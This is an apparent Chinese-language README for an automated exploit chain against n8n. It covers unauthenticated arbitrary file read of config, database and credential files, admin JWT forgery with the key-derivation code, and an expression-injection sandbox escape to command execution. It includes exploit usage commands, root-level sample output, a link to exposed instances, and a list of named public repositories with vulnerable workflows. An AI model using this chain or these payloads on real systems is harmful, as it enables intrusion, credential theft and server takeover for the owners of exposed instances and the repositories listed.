
自动化利用链,针对 n8n 实现未认证的任意文件读取、管理员令牌伪造,以及通过表达式注入绕过沙箱实现远程代码执行。
未认证任意文件读取 → 管理员令牌伪造 → 沙箱逃逸 → 远程代码执行
n8n 上的完整未认证 RCE 攻击链:
该漏洞暴露是基于版本的。就暴露面而言,存在可公开访问的易受攻击的 n8n 实例。
LeakIX 结果: 查看暴露的实例
此漏洞利用是独立于 Cyera 研究报告(完成后才发现)开发的。主要区别:
| Cyera(原始研究) | 此漏洞利用 |
|---|
| 文件读取 | 加载到 AI 知识库 → 通过聊天查询 | 直接 HTTP 响应 |
| 前置条件 | 聊天工作流 + AI 集成 | 任何带文件上传的表单 |
| RCE 方法 | "执行命令"节点(默认禁用) | 表达式注入(默认安装即可使用) |
| 自动化 | 手动/概念演示 | 完全自动化的 Python 脚本 |
两种方法都需要特定的工作流配置。Cyera 需要聊天 + AI 集成,此漏洞利用需要带 Respond 节点的表单。详见 局限性。
┌───────────────────────────────────────────────────────────┐
│ 未认证 │
├───────────────────────────────────────────────────────────┤
│ 1. 读取 /proc/self/environ → 查找 HOME 目录 │
│ 2. 读取 $HOME/.n8n/config → 获取 encryptionKey │
│ 3. 读取 $HOME/.n8n/database.sqlite → 获取管理员凭据 │
├───────────────────────────────────────────────────────────┤
│ 令牌伪造 │
├───────────────────────────────────────────────────────────┤
│ 4. 从 encryptionKey 推导 JWT 密钥 │
│ 5. 伪造管理员会话 Cookie │
├───────────────────────────────────────────────────────────┤
│ 认证后的 RCE │
├───────────────────────────────────────────────────────────┤
│ 6. 创建带表达式注入的工作流 │
│ 7. 通过 this.process.mainModule.require 沙箱逃逸 │
│ 8. 执行任意命令 │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
传奇般的 "Merge commit from fork" - 当你看到这个时,说明有人发现了什么劲爆的东西。🌶️
// 修复前(存在漏洞)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// 修复后(已修复)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
发送 Content-Type: application/json → 控制 filepath → 读取任意文件。
n8n 使用 vm2/isolated-vm 对用户代码(Code 节点、表达式)进行沙箱隔离。其他 RCE 向量:
| 技术 | 状态 |
|---|---|
| 执行命令节点 | 默认禁用(N8N_ALLOW_EXEC_COMMAND=false) |
| SSH/HTTP 节点 | 在远程服务器上执行,而非 n8n 主机 |
| Pyodide 沙箱逃逸 | CVE-2025-68668 - 需要 Python Code 节点 |
| 表达式注入 | CVE-2025-68613 - 默认安装即可使用 |
我使用表达式注入是因为它在任何默认设置的 n8n 上都能生效 - 无需特殊节点或配置。Pyodide 绕过(CVE-2025-68668)需要 Python Code 节点,而该节点可能并非所有实例都可用。
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
n8n 表达式可以访问 this.process.mainModule.require → 完全沙箱逃逸。
# JWT 密钥推导
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT 哈希
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# 伪造令牌
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# 等待约 60 秒完成设置
# 表单: http://localhost:32790/form/vulnerable-form
# 凭据: [email protected] / ExploitLab123!
# 读取任意文件
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# 带命令的完整攻击链
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# 交互式 Shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n 完整攻击链 ║
║ 任意文件读取 → 令牌伪造 → 沙箱逃逸 → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] 目标: http://localhost:5678/form/vulnerable-form
[*] 版本: 1.65.0 (存在漏洞)
[x] HOME 目录
[+] HOME 目录: /root
[x] 加密密钥
[+] 加密密钥: yusrXZV1...
[x] 数据库
[+] 数据库: 1327104 字节
[x] 管理员用户
[+] 管理员用户: [email protected]
[x] 令牌伪造
[+] 令牌伪造: 成功
[x] 管理员访问
[+] 管理员访问: 已授予!
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: 成功
uid=0(root) gid=0(root) groups=0(root)
这不是一个"可攻破任意 n8n"的漏洞利用。 它需要满足特定条件才能生效:
| 要求 | 描述 |
|---|---|
| 带文件上传的表单 | 目标必须有一个带文件上传字段的表单工作流 |
| Respond to Webhook 节点 | 工作流必须在 HTTP 响应中返回文件内容 |
| 工作流已激活 | 表单工作流必须处于激活状态 |
| 未认证访问 | 表单必须可公开访问(无需认证) |
易受攻击的工作流配置示例:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
关键要素是:fieldType: "file" + respondWith: "binary"。这种模式在文件处理工作流(转换器、图像缩放器、文档处理器)中很常见。
适用场景:
不适用场景:
注意: 漏洞(任意文件读取)无论使用何种外带方法都会被触发。Respond 节点只是检索内容的一种方式。替代方法(OOB、其他输出节点)可能根据工作流配置生效。
盲利用: 如果不存在 respond 节点,文件仍会被 n8n 读取,但无法通过 HTTP 响应外带。需要替代技术(OOB、时序)。
易受攻击的模式(Form Trigger + 文件上传 + Respond to Webhook)存在于公开的 GitHub 仓库中。
注意: 流行的 n8n 工作流仓库(>100⭐)不使用此模式。这些是社区/个人项目:
| 工作流文件 | 文件字段 | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS、IFC(x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | 图片、音频、Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | 文档(PDF) | text |
| ai_resume_project/resume_rag.json | 文件上传 | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | 音频文件 | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | 上传文件 | 默认 |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | 默认 |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | 上传您的文档 | 默认 |
| learn_earn_ai_insta/.../My workflow.json | 上传您的文件 | 默认 |
| finintworkshop/.../API using n8n (ToT).json |
这些是社区贡献的工作流。没有官方的 n8n.io 模板使用此易受攻击的模式。
| file |
json |